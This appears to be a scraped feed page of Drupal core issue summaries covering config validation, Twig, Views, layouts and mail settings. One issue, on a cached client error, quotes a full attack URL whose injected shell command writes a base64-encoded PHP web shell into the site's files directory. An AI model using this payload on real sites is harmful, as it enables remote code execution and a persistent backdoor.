Quantcast
Channel: Issues for Drupal core
Viewing all 291936 articles
Browse latest View live

Remove reference to \Drupal\Core\Block\Annotation\Block (possibly more?)

$
0
0

Problem/Motivation

Follow up from #2798531: Add example and sections to Block API documentation that issue mentions removing reference to annotation\Block but should scope be expanded to include more modules?

Steps to reproduce

N/A

Proposed resolution

TBD. Need to determine scope

Remaining tasks

Determine scope

User interface changes

N/A

API changes

N/A

Data model changes

N/A

Release notes snippet

N/A


TablesInterface::addField() doesn't document that $field can contain relationships

$
0
0

Problem/Motivation

The docs say:

   * @param string $field
   *   If it doesn't contain a dot, then an entity base field name. If it
   *   contains a dot, then either field name dot field column or field name dot
   *   delta dot field column. Delta can be a numeric value or a "%delta" for
   *   any value.

But you can chain through relationships, as seen in the test EntityQueryRelationshipTest:

      ->condition("user_id.entity.name", $this->accounts[0]->getAccountName(), '<>')

      ->condition("user_id.entity:user.name", $this->accounts[0]->getAccountName())

Steps to reproduce

Proposed resolution

Rather than document this fully here, we should refer to the comprehensive docs at Drupal\Core\Entity\Query\QueryInterface::condition()

Remaining tasks

User interface changes

API changes

Data model changes

Release notes snippet

Media entity translations do not adhere to status (published/unpublished)

$
0
0

Problem/Motivation

When you have a translated Media entity, for example file and when you change status of a translated media entity the status does not change.

Update:
It works via the "content_translation" status checkbox (location in it's own section in html) but I do find this quite odd. Node and taxonomy and other don't work like that. So for UX I would definitely streamline this.

Question remains, because the tests that fail look for this content_translation_status field, if this is indeed okay?!

Steps to reproduce

  1. For a media entity type set translated to true
  2. Translate a media entity so you have 2 languages for an entity
  3. Change Status on one entity and see that it does not reflect your changes (it does work with VBO though)

Proposed resolution

Add a translation handler to Media like on Node, Taxonomy, ....

Remaining tasks

Review patch where I've added the translation handler.

Release notes snippet

Media entity translations adhere to status

Add validation constraints to language.content_settings.*.*

$
0
0

Problem/Motivation

ContentLanguageSettings entity is not yet fully validatable:

.vendor/bin/drush config:inspect --filter-keys=language.content_settings.node.article --detail --list-constraints
➜  🤖 Analyzing…

 Legend for Data: 
  ✅❓  → Correct primitive type, detailed validation impossible.
  ✅✅  → Correct primitive type, passed all validation constraints.
 ------------------------------------------------------------------------------------------ --------- ------------- ------ --------------------------------------------------------------------------------------------- 
  Key                                                                                        Status    Validatable   Data   Validation constraints                                                                       
 ------------------------------------------------------------------------------------------ --------- ------------- ------ --------------------------------------------------------------------------------------------- 
  language.content_settings.node.article                                                     Correct   74%           ✅❓   ValidKeys: '<infer>'                                                                         
   language.content_settings.node.article:                                                   Correct   Validatable   ✅✅   ValidKeys: '<infer>'                                                                         
   language.content_settings.node.article:_core                                              Correct   Validatable   ✅✅   ValidKeys:                                                                                   
                                                                                                                              - default_config_hash                                                                      
   language.content_settings.node.article:_core.default_config_hash                          Correct   Validatable   ✅✅   NotNull: {  }                                                                                
                                                                                                                            Regex: '/^[a-zA-Z0-9\-_]+$/'                                                                 
                                                                                                                            Length: 43                                                                                   
                                                                                                                            ↣ PrimitiveType: {  }                                                                        
   language.content_settings.node.article:default_langcode                                   Correct   Validatable   ✅✅   Choice:                                                                                      
                                                                                                                              callback: '\Drupal\language\Entity\ContentLanguageSettings::getAllValidDefaultLangcodes'↣ PrimitiveType: {  }                                                                        
                                                                                                                            ↣ NotNull: {  }                                                                              
   language.content_settings.node.article:dependencies                                       Correct   Validatable   ✅✅   ValidKeys: '<infer>'                                                                         
   language.content_settings.node.article:dependencies.config                                Correct   NOT           ✅❓   ❌ @todo Add validation constraints to ancestor type: config_dependencies                    
   language.content_settings.node.article:dependencies.config.0                              Correct   Validatable   ✅✅   NotBlank: {  }                                                                               
                                                                                                                            ConfigExists: {  }                                                                           
                                                                                                                            ↣ PrimitiveType: {  }                                                                        
   language.content_settings.node.article:dependencies.module                                Correct   NOT           ✅❓   ❌ @todo Add validation constraints to ancestor type: config_dependencies                    
   language.content_settings.node.article:dependencies.module.0                              Correct   Validatable   ✅✅   NotBlank: {  }                                                                               
                                                                                                                            ExtensionName: {  }                                                                          
                                                                                                                            ExtensionExists: module                                                                      
                                                                                                                            ↣ PrimitiveType: {  }                                                                        
   language.content_settings.node.article:id                                                 Correct   NOT           ✅❓   ⚠️  @todo Add validation constraints to config entity type: language.content_settings.*.*    
   language.content_settings.node.article:langcode                                           Correct   Validatable   ✅✅   NotNull: {  }                                                                                
                                                                                                                            Choice:                                                                                      
                                                                                                                              callback: 'Drupal\Core\TypedData\Plugin\DataType\LanguageReference::getAllValidLangcodes'↣ PrimitiveType: {  }                                                                        
   language.content_settings.node.article:language_alterable                                 Correct   Validatable   ✅✅   ↣ PrimitiveType: {  }                                                                        
   language.content_settings.node.article:status                                             Correct   Validatable   ✅✅   ↣ PrimitiveType: {  }                                                                        
   language.content_settings.node.article:target_bundle                                      Correct   Validatable   ✅✅   EntityBundleExists: '%parent.target_entity_type_id'↣ PrimitiveType: {  }                                                                        
   language.content_settings.node.article:target_entity_type_id                              Correct   NOT           ✅❓   ⚠️  @todo Add validation constraints to config entity type: language.content_settings.*.*    
   language.content_settings.node.article:third_party_settings                               Correct   NOT           ✅❓   ⚠️  @todo Add validation constraints to config entity type: language.content_settings.*.*    
   language.content_settings.node.article:third_party_settings.content_translation           Correct   Validatable   ✅✅   ValidKeys: '<infer>'                                                                         
   language.content_settings.node.article:third_party_settings.content_translation.enabled   Correct   Validatable   ✅✅   ↣ PrimitiveType: {  }                                                                        
   language.content_settings.node.article:uuid                                               Correct   Validatable   ✅✅   Uuid: {  }                                                                                   
                                                                                                                            ↣ PrimitiveType: {  }                                                                        
 ------------------------------------------------------------------------------------------ --------- ------------- ------ --------------------------------------------------------------------------------------------- 

Steps to reproduce

  1. Get a local git clone of Drupal core 11.x.
  2. composer require drupal/config_inspector— or manually install https://www.drupal.org/project/config_inspector/releases/2.1.5 or newer (which supports Drupal 11!)
  3. composer require drush/drush
  4. Install Demo: Umami profile./vendor/bin/drush si demo_umami -y
  5. vendor/bin/drush config:inspect --filter-keys=language.content_settings.node.article --detail --list-constraints

Proposed resolution

Add validation constraints to missing properties.

This requires looking at the existing code and admin UI (if any) to understand which values could be considered valid. Eventually this needs to be reviewed by the relevant subsystem maintainer.

For examples, search *.schema.yml files for the string constraints:😊

Reach out to @borisson_ or @wimleers in the #recipes.

Remaining tasks

MR

User interface changes

None.

API changes

None.

Data model changes

More validation 🚀

Release notes snippet

None.

Make JSON:API responses easier to compress with gzip, brotli, etc

$
0
0

Problem/Motivation

JSON:API responses are currently sent with the application/vnd.api+json mimetype. This is not one of the supported File types that CloudFront compresses. Furthermore, it seems that this is not a common mimetype enabled in nginx or apache config. For example this is the list of mimetypes in the DDEV nginx config.

By changing the mimetype to application/json we would get gzip compression out of the box for a lot of people. I'm certain there is a reason why we need to use application/vnd.api+json, so perhaps this is a simple "won't fix". Would be good to get some discussion here.

Steps to reproduce

Proposed resolution

Remaining tasks

User interface changes

API changes

Data model changes

Release notes snippet

HTML attributes as Twig mappings instead of PHP objects

$
0
0

Problem/Motivation

There are 2 issues in our Twig templating which can be fixed in a single change:

1. Attribute PHP objects in templates.

Attribute PHP objects are great when coding with PHP, but they don't belong to a Twig template:

  • where we are expected to manipulate primitives (string, number, boolean, mapping & sequence) with filters, not PHP objects with methods
  • where operations should be immutable but #3296456: Twig attribute setter methods are not immutable
  • where create_attribute(mapping), which is now safe to use thanks to #3403331: Prevent TypeError when using create_attribute Twig function, looks alien. A Twig function is supposed to create data, not transform data.
  • where empty Attribute PHP objects are not resolved to false, so this is not working:
    {% set wrapper_attributes = create_attribute() %}
    {% if wrapper_attributes %}<div{{ wrapper_attributes }}>{% endif %}

Also, it would be great to help SDC component authors to stop using a PHP namespace as a prop type, which is not JSON Schema valid:

props:
  type: object
  properties:
    wrapper_attributes:
      title: Wrapper attributes
      type: Drupal\Core\Template\Attribute

2. We have a fatal error when we print a mapping

{{ {foo: "bar"} }}

Raises:

InvalidArgumentException: "pop" is an invalid render array key. Value should be an array but got a string. in Drupal\Core\Render\Element::children() (line 97 of core/lib/Drupal/Core/Render/Element.php).

Because print nodes are caught by TwigNodeVisitor::leaveNode():

    if ($node instanceof PrintNode) {
      ...
      $class = get_class($node);
      $line = $node->getTemplateLine();
      return new $class(
        new FunctionExpression('render_var', new Node([$node->getNode('expr')]), $line),
        $line
      );
    }

Then TwigExtension::renderVar() calls the rendering service, considering any array is a render array.

Twig template is supposed to be a "safe" job, so we must avoid any situation raising errors.

On Symfony 7, the same Twig snippet raises Warning: Array to string conversion.

Proposed resolution

Print mapping as attributes

So {{ {foo: "bar"} }} will be printed foo="bar"

Not sure where, not sure how.

For example, and without any tests, we can leverage Element::isRenderArray and act as soon as renderVar:

  public function renderVar($arg) {
    ...
    if (is_array($arg) && !Element::isRenderArray($arg)) {
       $arg = new Attribute($arg);
   }
    if (is_object($arg)) {
      ...
    }
    ...
    return $this->renderer->render($arg);
  }

Or later, in the renderer service.

We are not raising the error anymore.

Use filters to manipulate mappings

"Chainable" methods from Attribute PHP object needs to be converted to filters:

If we have same add_class and set_attribute filters for renderable arrays and attributes mapping, we need to decide how to handle empty mappings:

  • empty or missing renderables must stay empty and resolve to false
  • empty or missing attribute mapping will need to be created and/or altered

What do we do with the other methods from Attribute PHP object?

  • ::getClass(): AttributeValueBase ➤ my_attributes["class"] ?
  • ::getIterator(): ArrayIterator ➤ Useless because we already have an associative array
  • ::hasAttribute($name) : bool ➤ is x in my_attributes|keys()?
  • ::hasClass($class) : bool ➤ x in my_attributes["class"]?
  • ::jsonSerialize() : string ➤ https://twig.symfony.com/doc/3.x/filters/json_encode.html
  • ::offsetExists($name) : bool ➤ is x in my_attributes|keys()?
  • ::offsetGet($name) : mixed ➤ my_attributes[x]?
  • ::offsetSet($name, $value) : void ➤ Useless if we have set_attribute?
  • ::offsetUnset($name) : void ➤ Useless if we already have a filters replacing ::removeAttribute?
  • ::storage(): array ➤ Useless because we already have an associative array
  • ::toArray(): array ➤ Useless because we already have an associative array

Change management

Once merged in Core, let's promote the use of attributes as mappings instead of PHP objects in our documentation. Especially for SDC templates which are expected to be more "dumb" (it is a compliment) and UI oriented, so with minimal use of PHP objects.

Out of scope

Default attribute variable

Both ThemeManager et SDC are injecting a default attribute variable which is such an AttributePHP object.

This automatic injection is useful and must be kept. Maybe this variable will be a mapping instead of a PHP object in the future, but it will be a compatibility break.

Printing logic

Let's use the logic currently implemented in Attribute::__toString():

{ foo: "bar", baz: ["lorem", "ipsum"] }
foo="bar" baz="lorem ipsum"

{ foo: "bar", baz: [{"lorem": "hello"}, "ipsum"] }
foo="bar" baz="Array ipsum"

{ foo: "bar", baz: {"lorem": {"ipsum": "hello"} } }
foo="bar" baz="Array"

If we are unhappy with it, let's create a distinct ticket.

API changes

Let's try to not break anything yet.

[meta] Much Views UI input is not validated

$
0
0

Problem/Motivation

In #2341357: Views entity area config is not deployable and missing dependencies, we identified the fact that no validation is done on the entity ID configuration field. This problem likely exists in numerous Views plugins. When an invalid value is entered, there is no validation error, and the area is silently empty with no indication of why it's not working.

Only 8 Views plugins implement the validation method, PluginBase::validateOptionsForm(). The related submit handler, submitOptionsForm(), has 13 usages, but since many plugins don't need to explicitly implement the submit method, there are likely many places that the validation method should be added.

Beta phase evaluation

Reference: https://www.drupal.org/core/beta-changes
Issue categoryBug because we are not validating input and not failing explicitly for invalid configuration.
Issue priorityMajor because the bug likely several plugins in Views, negatively impacts the usability of the Views UI, and makes some View configuration errors rather difficult to debug. Not critical because the problem exists in contrib in D7 as well.
Prioritized changesThese are prioritized changes because the main goal of this meta issue is bugfixes and usability improvements.
Disruption
  • Somewhat disruptive for core and contributed modules that provide Views plugins because they will need to be updated to include validation for core to be consistent.
  • Slightly disruptive for existing sites because views already saved with invalid values for Views plugins will not be able to be re-saved without changing the invalid value.

Proposed resolution

  • Implement PluginBase::validateOptionsForm() in plugins that need input validation.

Remaining tasks

  • Identify plugins that do not have validation.
  • Evaluate which of these plugins need to implement validation.
  • File issues to add validation where appropriate.

User interface changes

  • Users will receive a validation error upon entering invalid values in the entity area handler and other plugins currently missing validation.

API changes

  • None; the needed method already exists.

Implement constraints for Pager config


Regression: hook_preprocess_form_element_label() does not have #type defined

$
0
0

I need to add a class to form_element_label if it is of type radios or checkboxes. Since D8 this is no longer possible as $variables['element']['#type'] seems not defined in hook_preprocess_form_element_label().

function mytheme_preprocess_form_element_label(&$variables) {
  $element = $variables['element'];

  switch ($element['#type']) {
    case 'radios':
    case 'checkboxes':
      // Add custom label class to element labels.
      $variables['attributes']['class'][] = 'my-label';
      break;
  }
}

Can I add the #type somehow back in my theme or can core add it back, please?

How to fix "non-existent config entity name returned by FieldStorageConfigInterface::getBundles()"

Rendered entity views field handler for revisions

$
0
0

Problem/Motivation

There's no "Rendered entity" field handler for views that show "Content revisions". Field handler will work with revisions without any modification.

Proposed resolution

"Rendered entity" field handler is already used for views that show "Content". We need just to add the same field as we have in $base_table to data of $revision_table.

Remaining tasks

Commit.

User interface changes

Have a "Rendered entity" field available for "Content revisions" view.

API changes

-

Data model changes

-

"A client error happened" on Forget password due to malicious request attempt to a Drupal-based website and response is getting cached.

$
0
0

The error occurs when the cache is rebuilt and just after that the attempt to make the malicious request attempt to a Drupal-based website on the user/password page

The error is coming at the place of content of the page keeping header and footer.

The error can be replicated by hitting the following URL in the Browser:

https://example.com/user/password?name[%23post_render][0]=passthru&name%5B%23markup%5D=mv+-f+sites%2Fdefault%2Ffiles%2F.htaccess+sites%2Fdefault%2Ffiles%2F.hatccess%3Becho+PD9waHAgZWNobyA0MDk3MjMqMjA7aWYobWQ1KCRfQ09PS0lFW2RdKT09IjE3MDI4ZjQ4N2NiMmE4NDYwNzY0NmRhM2FkMzg3OGVjIil7ZWNobyJvayI7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUkVRVUVTVFtpZF0pKTtpZigkX1BPU1RbInVwIl09PSJ1cCIpe0Bjb3B5KCRfRklMRVNbImZpbGUiXVsidG1wX25hbWUiXSwkX0ZJTEVTWyJmaWxlIl1bIm5hbWUiXSk7fX0%2FPg%3D%3D%7Cbase64+--decode%7Ctee+sites%2Fdefault%2Ffiles%2F99a51f380ecf.php

Steps To reproduce the issue:

**Drupal versions- 10.1.8, 10.2.2, 10.2.6, 10.2.7, PHP versions - 8.1, 8.2, 8.3**

1. Clear Site Cache.
2. Hit malicious URL with a query parameter, like ( URL: https://example.com/user/password?name[%23post_render][0]=passthru)
3. Getting Response 400 (A client error happened)
4. After that refresh the page or Hit the Right URL in another tab, like ( URL: https://example.com/user/password )
5. Getting response 400 (even after hitting the right URL)

This error can be resolved by clearing the cache or using any query parameter in the URL.

This issue is occurring only on sites that don't have any CDN.

Error coming in the log is

Symfony\Component\HttpKernel\Exception\BadRequestHttpException: Input value "name" contains a non-scalar value. in Symfony\Component\HttpKernel\HttpKernel->handle() (line 83 of /var/www/html/vendor/symfony/http-kernel/HttpKernel.php).

\Drupal::messenger() changed behaviour between Drupal 10.2.7 and Drupal 10.3.0

$
0
0

I had following code in the exception handling of a form build function ($e is a Throwable):

        $error = $e->getMessage();
        $message = Markup::create($error);
        \Drupal::messenger()->addError($message);
        $url = Url::fromRoute('<front>');
        $response = new RedirectResponse($url->toString());
        $response->send();

If there was an error Drupal would jump to the front screen and the message would display there. This is how it worked in Drupal 10.2.7, and the behaviour was also checked in our behat tests. After only upgrading drupal/core-recommended to 10.3.0 that behaviour changes.

As it works in Drupal 10.3.0, is that you don't see anything on the "front" screen after the redirect, but when you go to the same form that triggered the error the message will appear.

Add validation constraints to system.mail

$
0
0

Problem/Motivation

The System module's mail have 4 property paths that are not yet validatable:

vendor/bin/drush config:inspect --filter-keys=system.mail --detail --list-constraints
➜  🤖 Analyzing…

 Legend for Data: 
  ✅❓  → Correct primitive type, detailed validation impossible.
  ✅✅  → Correct primitive type, passed all validation constraints.
 ---------------------------------------- --------- ------------- ------ ----------------------------------------------------------------------------- 
  Key                                      Status    Validatable   Data   Validation constraints                                                       
 ---------------------------------------- --------- ------------- ------ ----------------------------------------------------------------------------- 
  system.mail                              Correct   67%           ✅❓   ValidKeys: '<infer>'                                                         
                                                                          LangcodeRequiredIfTranslatableValues: null                                   
   system.mail:                            Correct   Validatable   ✅✅   ValidKeys: '<infer>'                                                         
                                                                          LangcodeRequiredIfTranslatableValues: null                                   
   system.mail:_core                       Correct   Validatable   ✅✅   ValidKeys:                                                                   
                                                                            - default_config_hash                                                      
   system.mail:_core.default_config_hash   Correct   Validatable   ✅✅   NotNull: {  }                                                                
                                                                          Regex: '/^[a-zA-Z0-9\-_]+$/'                                                 
                                                                          Length: 43                                                                   
                                                                          ↣ PrimitiveType: {  }                                                        
   system.mail:interface                   Correct   NOT           ✅❓   ⚠️  @todo Add validation constraints here                                    
   system.mail:interface.default           Correct   Validatable   ✅✅   PluginExists:                                                                
                                                                            manager: plugin.manager.mail                                               
                                                                            interface: Drupal\Core\Mail\MailInterface                                  
                                                                          ↣ PrimitiveType: {  }                                                        
   system.mail:mailer_dsn                  Correct   Validatable   ✅✅   ValidKeys: '<infer>'                                                         
   system.mail:mailer_dsn.host             Correct   Validatable   ✅✅   NotBlank:                                                                    
                                                                            message: 'The mailer DSN must contain a host (use "default" by default).'↣ PrimitiveType: {  }                                                        
   system.mail:mailer_dsn.options          Correct   NOT           ✅❓   ⚠️  @todo Add validation constraints here                                    
   system.mail:mailer_dsn.password         Correct   NOT           ✅❓   ⚠️  @todo Add validation constraints here                                    
   system.mail:mailer_dsn.port             Correct   Validatable   ✅✅   Range:                                                                       
                                                                            min: 0                                                                     
                                                                            max: 65535                                                                 
                                                                          ↣ PrimitiveType: {  }                                                        
   system.mail:mailer_dsn.scheme           Correct   Validatable   ✅✅   NotBlank:                                                                    
                                                                            message: 'The mailer DSN must contain a scheme.'↣ PrimitiveType: {  }                                                        
   system.mail:mailer_dsn.user             Correct   NOT           ✅❓   ⚠️  @todo Add validation constraints here                                    
 ---------------------------------------- --------- ------------- ------ ----------------------------------------------------------------------------- 

Steps to reproduce

  1. Get a local git clone of Drupal core 11.x.
  2. composer require drupal/config_inspector— or manually install https://www.drupal.org/project/config_inspector/releases/2.1.5 or newer (which supports Drupal 11!)
  3. composer require drush/drush
  4. vendor/bin/drush config:inspect --filter-keys=system.mail --detail --list-constraints

Proposed resolution

  1. Add validation constraints.
  2. Mark FullyValidatable.

Remaining tasks

User interface changes

API changes

Data model changes

Release notes snippet

Add missing category to Drupal\layout_builder\Plugin\Layout\BlankLayout and let modules and themes alter the list of layouts

$
0
0

Problem/Motivation

Deprecated function: strnatcasecmp(): Passing null to parameter #2 ($string2) of type string is deprecated in Drupal\Core\Layout\LayoutPluginManager->Drupal\Core\Layout\{closure}() (line 204 of core/lib/Drupal/Core/Layout/LayoutPluginManager.php).

appears on pages, where layouts are being listed in a select which uses $this->layoutPluginManager->getLayoutOptions() to get its options.

Example:

$form['field_layouts']['field_layout'] = [
      '#type' => 'select',
      '#title' => $this->t('Select a layout'),
      '#options' => $this->layoutPluginManager->getLayoutOptions(),
      '#default_value' => $layout_plugin->getPluginId(),
      '#ajax' => [
        'callback' => '::settingsAjax',
        'wrapper' => 'field-layout-settings-wrapper',
        'trigger_as' => ['name' => 'field_layout_change'],
      ],
    ];

(FieldLayoutEntityDisplayFormTrait.php)

layout_builder's layout_builder_blank aka BlankLayout neither has a label nor a category defined in its annotation:

/**
 * Provides a layout plugin that produces no output.
 *
 * @see \Drupal\layout_builder\Field\LayoutSectionItemList::removeSection()
 * @see \Drupal\layout_builder\SectionListTrait::addBlankSection()
 * @see \Drupal\layout_builder\SectionListTrait::hasBlankSection()
 *
 * @internal
 *   This layout plugin is intended for internal use by Layout Builder only.
 *
 * @Layout(
 *   id = "layout_builder_blank",
 * )
 */
class BlankLayout extends LayoutDefault {

it should be sorted out by

/**
 * Implements hook_plugin_filter_TYPE_alter().
 */
function layout_builder_plugin_filter_layout_alter(array &$definitions, array $extra, $consumer) {
  // Hide the blank layout plugin from listings.
  unset($definitions['layout_builder_blank']);
}

(layout_builder.module)

but that hook never gets called!

So the layout_builder_blank layout is being passed through without label or category, but these methods rely on these values to be present. They are being called indirectly by $this->layoutPluginManager->getLayoutOptions()

  /**
   * {@inheritdoc}
   *
   * @return \Drupal\Core\Layout\LayoutDefinition[]
   */
  public function getSortedDefinitions(array $definitions = NULL, $label_key = 'label') {
    // Sort the plugins first by category, then by label.
    $definitions = $definitions ?? $this->getDefinitions();
    uasort($definitions, function (LayoutDefinition $a, LayoutDefinition $b) {
      if ($a->getCategory() != $b->getCategory()) {
        return strnatcasecmp($a->getCategory(), $b->getCategory());
      }
      return strnatcasecmp($a->getLabel(), $b->getLabel());
    });
    return $definitions;
  }

  /**
   * {@inheritdoc}
   *
   * @return \Drupal\Core\Layout\LayoutDefinition[][]
   */
  public function getGroupedDefinitions(array $definitions = NULL, $label_key = 'label') {
    $definitions = $this->getSortedDefinitions($definitions ?? $this->getDefinitions(), $label_key);
    $grouped_definitions = [];
    foreach ($definitions as $id => $definition) {
      $grouped_definitions[(string) $definition->getCategory()][$id] = $definition;
    }
    return $grouped_definitions;
  }

  /**
   * {@inheritdoc}
   */
  public function getLayoutOptions() {
    $layout_options = [];
    foreach ($this->getGroupedDefinitions() as $category => $layout_definitions) {
      foreach ($layout_definitions as $name => $layout_definition) {
        $layout_options[$category][$name] = $layout_definition->getLabel();
      }
    }
    return $layout_options;
  }

This is why the error appears.

This deprecation warning didn't appear in older versions of PHP, so the bug wasn't visible.

TL;DR:

/**
 * Implements hook_plugin_filter_TYPE_alter().
 */
function layout_builder_plugin_filter_layout_alter(array &$definitions, array $extra, $consumer) {
  // Hide the blank layout plugin from listings.
  unset($definitions['layout_builder_blank']);
}

(layout_builder.module)
is not called, so the layout_builder_blank layout, which neither has a label nor a description is not being sorted out, which leads to this error!

Steps to reproduce

  1. Install Drupal with the Umami demo profile.
  2. Enable the field_layout module.
  3. Log in as an administrator.
  4. Visit /en/admin/structure/types/manage/article/form-display.

Alternatively, install Drupal with the Standard profile, then enable the field_layout and layout_builder modules.

Further analysis

It seems as like the LayoutPluginManager (DI-injected by $container->get('plugin.manager.core.layout'),) is entirely missing FilteredPluginManagerTrait, so that its alterations are never being called:

/**
   * Implements \Drupal\Core\Plugin\FilteredPluginManagerInterface::getFilteredDefinitions().
   */
  public function getFilteredDefinitions($consumer, $contexts = NULL, array $extra = []) {
    if (!is_null($contexts)) {
      $definitions = $this->getDefinitionsForContexts($contexts);
    }
    else {
      $definitions = $this->getDefinitions();
    }

    $type = $this->getType();
    $hooks = [];
    $hooks[] = "plugin_filter_{$type}";
    $hooks[] = "plugin_filter_{$type}__{$consumer}";
    $this->moduleHandler()->alter($hooks, $definitions, $extra, $consumer);
    $this->themeManager()->alter($hooks, $definitions, $extra, $consumer);
    return $definitions;
  }

meanwhile, they are being called in Layout builder (e.g. admin/structure/types/manage/page/display/default/layout) when adding a section.
So maybe layout_builder is doing something different or special?
If layout_builder is not installed, everything is fine!

Proposed resolution

  1. Add missing attributes to Drupal\layout_builder\Plugin\Layout\BlankLayout so that getCategory() and getLabel() return string|\Drupal\Core\StringTranslation\TranslatableMarkup as required, instead of NULL.
  2. Call getFilteredDefinitions() in LayoutPluginManager::getLayoutOptions().
  3. Add test coverage for (2).

Either (1) or (2) by itself is enough to avoid the error. If we implement (1) but not (2), then it leads to a regression: the blank layout is listed, when it currently is not. See Comment #50. If we implement (2) but not (1), then we are hiding the error instead of fixing it.

For (3), mock Drupal::service('theme.manager'), since that is called in FilteredPluginManagerTrait::themeManager(). Then call getLayoutOptions() and confirm that the module and theme alter() methods are called.

Remaining tasks

  1. Decide whether to implement one of the other approaches in this issue or in a follow-up.

The decision is made: #3450764: Make $consumer optional in Drupal\Core\Plugin\FilteredPluginManagerTrait::getFilteredDefinitions() is the follow-up issue.

User interface changes

None, except for not showing the PHP error.

API changes

Drupal\Core\Layout\LayoutPluginManager::getLayoutOptions()

Data model changes

respects hook_plugin_filter_alter(), so modules and themes can alter the list of layouts.

Release notes snippet

N/A


Tighten config validation schema of system.mail mailer_dsn

$
0
0

Problem/Motivation

The config validation schema introduced in #3399645: Use structured DSN instead of URI in system.mail mailer_dsn could be tighter.

Steps to reproduce

Proposed resolution

The string fields could at least disallow control-characters and newlines similar to the label type #3379102: Add validation constraint to `type: label` + `type: text`: disallow control characters (except maybe the password field).

If possible the structured DSN type should be reusable by contrib or custom config entities.

Remaining tasks

User interface changes

API changes

Data model changes

Release notes snippet

Document how to deprecate Twig variables

$
0
0

Problem/Motivation

In #3270148: Provide a mechanism for deprecation of variables used in twig templates we added a way to deprecate Twig variables and in issues such as #3458587: Deprecate preprocess variable cruft in core we are starting to use this feature, however this has not been added to the policy documentation at https://www.drupal.org/about/core/policies/core-change-policies/drupal-d...

Steps to reproduce

Proposed resolution

Add parts of the change record to the deprecation policy documentation.

Remaining tasks

User interface changes

API changes

Data model changes

Release notes snippet

Deprecate $variables['page'] for node.html.twig

$
0
0

Problem/Motivation

Steps to reproduce

Proposed resolution

Remaining tasks

User interface changes

API changes

Data model changes

Release notes snippet

Remove legacy 'metadata' variable from node.html.twig

$
0
0

Problem/Motivation

This was added to support RDF module which is now in contrib, we should deprecate then remove it.

Steps to reproduce

Proposed resolution

Remaining tasks

User interface changes

API changes

Data model changes

Release notes snippet

The menu ui on node forms does not validate the menu link content entity

$
0
0

Problem/Motivation

The MenuLinkContent entity does not have any constraints in core, but if a contrib/custom module adds constraint to the entity they will be bypassed in the menu ui on the node form. This is because the entity is never validated before being saved.

Let's make sure the entity is validated before saving.

Proposed resolution

Remaining tasks

User interface changes

API changes

Data model changes

Release notes snippet

Viewing all 291936 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>